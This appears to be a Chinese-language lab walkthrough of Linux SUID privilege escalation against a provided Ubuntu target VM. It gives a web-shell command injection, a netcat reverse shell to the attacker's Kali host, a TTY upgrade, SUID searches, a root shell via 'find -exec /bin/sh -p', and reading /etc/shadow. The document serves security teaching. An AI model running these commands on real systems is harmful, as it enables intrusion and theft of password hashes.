suid是什么呢
SUID是赋予文件的一种权限,它会出现在文件拥有者权限的执行位上,具有这种权限的文件会在其执行时,使调用者暂时获得该文件拥有者的权限。也就是如果ROOT用户给某个可执行文件加了S权限,那么该执行程序运行的时候将拥有ROOT权限。
可以参考这篇文章
首先我们实验准备
我们的kail机 ip 192.168.25.138
我们的目标主机 Ubuntu IP 192.168.25.133
就是我们第二篇文章中的目标主机 我给大家放在这里了
通过网盘分享的文件:Ubuntu01.zip
链接: 百度网盘 请输入提取码 提取码: dhvt
--来自百度网盘超级会员v3的分享
还是一样的我们先建立一个反弹shell
首先在我们的kail机上
输入
bash
nc -lvnp 8888
然后在我们的的本机windows上输入
http://192.168.25.133/cmd.php?cmd=system(%27id%27);
然后我们打开bp 进行抓包输入反弹shell
输入
cmd=system('rm+/tmp/f%3bmkfifo+/tmp/f%3bcat+/tmp/f|/bin/sh+-i+2>%261|nc+192.168.25.138+8888>/tmp/f');
不懂得或者忘了的 我们可以去看看第二篇
然后返回看kail主机
上里边已经有反弹shell
然后我们要获得完整的tty shell
python3 -c 'import pty;pty.spawn("/bin/bash")';
stty -echo raw
fg
bg
忘了的可以去看第二篇
然后我们就要来再查找具有suid的文件
以下命令可以发现系统上运行的所有SUID可执行文件
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000-print2>/dev/null
find / -user root -perm -4000-exec ls -ldb {} \;
/表示从文件系统的顶部(根)开始并找到每个目录
-perm 表示搜索随后的权限
-u = s表示查找root用户拥有的文件
-type表示我们正在寻找的文件类型 f表示常规文件,而不是目录或特殊文件
2表示该进程的第二个文件描述符,即stderr(标准错误)
所以我们输入查询具有suid的
find / -perm -u=s -type f 2>/dev/null
不知道哪些可以提权的
常见的可以用来进行 SUID 提权的命令可以参考下面这个链接:
下边举个例子
找到find
常见suid提权文件
nmap、vim、find、more、less、bash、cp、Nano、mv、awk、man、weget
刚好我们刚才查找到的里边有 find
输入
/usr/bin/find
查看当前目录下的文件
我们也可以输入
find
效果是一样的
我们可以来查看find权限
ls -al /usr/bin/find
-rwsr-xr-x 1 root root 238080 Nov 6 2017 /usr/bin/find
我们看到了有 s 这个
也就是说 我们使用这个find命令 就是以root命令执行的
查看刚才的网址
因为我们是普通用户
不能查看 只有root用户才能查看的
cat /etc/shadow
所以我们要进行提权
我们输入
find . -exec /bin/sh -p \; -quit
输入id 可以看到我们具有了euid root 权限
有人会问问了 euid 是啥
EUID, 用于系统决定用户对系统资源的访问权限,通常情况下等于RUID
参考这篇文章
我们也可以查看只有root 才可以访问的文件
cat /etc/shadow
除了find 想了解的更多 我们可以看下边的文章
[权限提升] Linux 提权 & 维持 — 系统错误配置提权 - SUID 文件提权_网络安全linux系统提权-CSDN博客